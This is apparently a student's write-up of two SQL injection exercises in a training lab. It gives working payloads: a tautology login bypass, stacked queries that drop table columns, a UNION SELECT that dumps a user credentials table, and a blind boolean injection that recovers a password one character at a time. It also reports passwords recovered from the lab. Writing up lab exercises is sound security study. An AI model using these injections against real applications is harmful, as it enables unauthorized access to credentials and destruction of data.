EXCERCISE 3

At first, I displayed the *user_data* TABLE using

```
‘ or ‘1’=’1
```

Then I tried to make an UNION between the *user_data* TABLE and the *user_system_data* TABLE, in order to do so the number of columns of such tables has to be the same so I used:

```
; ALTER TABLE user_data DROP COLUMN login_count --
; ALTER TABLE user_data DROP COLUMN first_name  --
; ALTER TABLE user_data DROP COLUMN cc_number --
```

And finally use

```
‘ UNION SELECT * FROM user_system_data --
```

and the access to the dave’s password is granted.

Another method that I found was to simply use the following injection

```
‘; SELECT * FROM user_system_data; --
```

Appending such query show us the dave’s password.

105, dave, passW0rD

EXERCISE 5

At first, I tried to register a new account called username “user” and password “pass”, then I tried to register an account called

```
user’ AND ‘1’=’1
```

and the webpage responds with “*account already exists*”.

Such response means that if the query is evaluated TRUE than the response will tell us that the account already exists. From this we can guess the password using a brute-force attack using the following query

```
user’ AND substring(password, 1, 4) = ‘pass
```

the webpage response with “*account already exists*” and such method is confirmed to work. To discover tom’s password, we can simply use the previous query to try one by one every character of the password.

```
tom’ AND substring(password, 1, 1) = ‘t
tom’ AND substring(password, 2, 2) = ‘h
```

if the response is “account already exists” the guess its correct otherwise we must try another character. This process can be automated by using OWASP ZAP.

Tom’s password: **thisisasecretfortomonly**